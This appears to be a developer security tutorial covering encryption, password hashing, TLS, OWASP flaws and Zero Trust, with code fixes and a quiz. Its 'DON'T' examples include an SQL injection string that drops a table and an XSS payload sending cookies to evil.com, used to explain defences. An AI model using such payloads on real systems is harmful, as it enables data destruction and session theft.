Skip to content
Published on

The Complete Security Guide for Developers — From Encryption to Zero Trust

Authors
  • Name
    Twitter
Security Fundamentals

Introduction

"Isn't security the security team's job?" — No. Every developer who writes code is the first line of defense.

A single SQL Injection can leak millions of personal records, and a single XSS vulnerability can hijack user sessions. This article is a comprehensive summary of the security concepts every developer must know.

Part 1: Cryptography

Symmetric Key Encryption (AES)

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# === Fernet (simple symmetric key) ===
key = Fernet.generate_key()
f = Fernet(key)

plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext  # ✅

# === AES-256-GCM (production standard) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)  # 96-bit nonce (new every time!)

# Encryption + Authentication (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata")  # Decryption + integrity verification
Symmetric key: Same key for encryption/decryption
Pros: Fast (AES-256: ~1 GB/s)
Cons: Key distribution problem (how to securely share the key?)
Use cases: Data encryption, disk encryption, TLS data transfer

Asymmetric Key Encryption (RSA, ECDSA)

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# Generate key pair
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# Encrypt (with public key)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

# Decrypt (with private key)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
))
assert plaintext == message  # ✅
Asymmetric key: Public key (encrypt) + Private key (decrypt)
Pros: Solves the key exchange problem (public key can be shared openly)
Cons: Slow (RSA: ~1 KB/s, 1000x slower than AES)
Use cases: TLS key exchange, digital signatures, SSH authentication

Hashing — Password Storage

import hashlib
import bcrypt

# NEVER do this: store in plaintext
password = "mypassword123"

# DON'T: simple hash (vulnerable to rainbow table attacks)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()

# DO: bcrypt (salt + slow hashing = secure!)
salt = bcrypt.gensalt(rounds=12)  # Generate salt (2^12 iterations)
hashed = bcrypt.hashpw(password.encode(), salt)

# Verification
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"Password match: {is_valid}")  # True

# Why bcrypt is secure:
# 1. Salt: Same password produces different hashes -> defeats rainbow tables
# 2. Slow: Intentionally slow to defend against brute force (GPU attack defense)
# 3. Adjustable rounds: Increase difficulty as hardware improves

TLS Handshake (HTTPS)

[Client]                          [Server]
    |                                |
    |-- ClientHello --------------->|  Supported cipher suite list
    |                                |
    |<-- ServerHello + Certificate --|  Selected cipher + server certificate
    |                                |
    |  Verify server certificate     |
    |  (CA chain)                    |
    |                                |
    |-- Key Exchange --------------->|  ECDHE public value
    |<-- Key Exchange ---------------|  Server ECDHE public value
    |                                |
    +================================+
    |  Both sides derive the same    |
    |  symmetric key!                |
    |  (Diffie-Hellman)              |
    +================================+
    |                                |
    |<== AES-256-GCM encrypted ==>  |

Part 2: Web Security (OWASP Top 10)

SQL Injection

# DON'T: dangerous code
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# -> SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# -> Table dropped!

# DO: Parameter binding (Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)  # Input treated as data only, never interpreted as SQL
)

# DO: Use an ORM (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()

XSS (Cross-Site Scripting)

# DON'T: dangerous code (outputting user input as-is)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# Inserting directly into HTML:
html = f"<div>{comment}</div>"
# -> Cookie stolen!

# DO: HTML escape
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# -> &lt;script&gt;... (not executed)

# DO: CSP (Content Security Policy) header
# Content-Security-Policy: script-src 'self'; object-src 'none';

CSRF (Cross-Site Request Forgery)

# Attack: User visits a malicious site while logged in
# A hidden form on the malicious site automatically submits a bank transfer request!

# DO: CSRF token defense
from flask import Flask, session
import secrets

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    # Token verification
    if request.form['csrf_token'] != session['csrf_token']:
        abort(403)  # CSRF attack blocked!

    # Normal processing
    process_transfer(request.form)

# DO: SameSite cookies
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

Authentication/Authorization Vulnerabilities

# DON'T: IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id).to_dict()
    # Changing user_id reveals other people's information!

# DO: Add authorization check
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # Unauthorized!
    return User.query.get(user_id).to_dict()

Part 3: Zero Trust Architecture

Traditional security: "Inside the walls is safe" (Castle and Moat)
  [Internet] --[Firewall]-- [Internal network: trust everyone]
  -> Defenseless once breached internally!

Zero Trust: "Trust nobody"
  [Every request] -> [Authenticate] -> [Authorize] -> [Encrypt] -> [Monitor]
  -> Verify every time, whether internal or external!

Zero Trust Principles

1. Verify Explicitly
   -> Authenticate + authorize every request (regardless of location/network)

2. Least Privilege
   -> Allow access only to what is needed, only for the time needed
   -> JIT (Just-In-Time) privilege granting

3. Assume Breach
   -> Design assuming you have already been compromised
   -> Micro-segmentation, encryption, monitoring
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-policy
spec:
  podSelector:
    matchLabels:
      app: api-server
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: frontend # Allow access only from frontend
      ports:
        - port: 8080
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database # Allow access only to DB
      ports:
        - port: 5432
  # All other traffic: blocked!

Security Checklist

[Authentication/Authorization]
- bcrypt/Argon2 for password hashing (never use SHA256 alone)
- JWT signature verification + expiration time
- OAuth 2.0 PKCE (SPA/mobile)
- MFA (Multi-Factor Authentication)
- Rate Limiting (brute force defense)

[Input Validation]
- SQL Injection: Prepared Statement / ORM
- XSS: HTML escape + CSP header
- CSRF: SameSite cookies + CSRF token
- Path Traversal: filename validation
- SSRF: block internal IPs

[Communication/Storage]
- HTTPS required (TLS 1.3)
- HSTS header
- Encrypt sensitive data (AES-256-GCM)
- Secret management: Vault / AWS Secrets Manager
- Never log passwords/tokens

[Infrastructure]
- Zero Trust network
- Container image scanning (Trivy)
- Dependency vulnerability scanning (Dependabot)
- WAF (Web Application Firewall)
- Intrusion detection/monitoring

Quiz — Security (click to reveal!)

Q1. What is the difference between symmetric and asymmetric encryption, and what are their use cases? ||Symmetric: Same key for encryption/decryption, fast (AES) — data transfer/storage encryption. Asymmetric: Public/private key pair, slow (RSA) — key exchange, digital signatures.||

Q2. Why is bcrypt safer than SHA-256 for password storage? ||1) Salt defeats rainbow tables 2) Intentionally slow hashing defends against brute force 3) Adjustable rounds to keep up with future hardware improvements.||

Q3. What is the root cause of SQL Injection and how do you defend against it? ||Root cause: User input is interpreted as part of the SQL query. Defense: Prepared Statements (parameter binding) treat input as data only.||

Q4. What is the difference between XSS and CSRF? ||XSS: Attacker's script executes in the victim's browser. CSRF: Attacker sends requests using the victim's authenticated session. XSS tricks the client; CSRF tricks the server.||

Q5. At which stages of the TLS handshake are symmetric and asymmetric keys used? ||Asymmetric: Key exchange during the handshake (ECDHE). Symmetric (AES): Data transfer stage. Asymmetric keys securely negotiate a symmetric key, then the fast symmetric key handles actual communication.||

Q6. What are the three principles of Zero Trust? ||1) Verify Explicitly: Explicitly authenticate/authorize every request 2) Least Privilege: Grant only the minimum necessary permissions 3) Assume Breach: Design assuming compromise has already occurred.||

Q7. What is the role of the HSTS header? ||It instructs the browser to access the domain only via HTTPS. This prevents man-in-the-middle attacks that could occur during HTTP to HTTPS redirects.||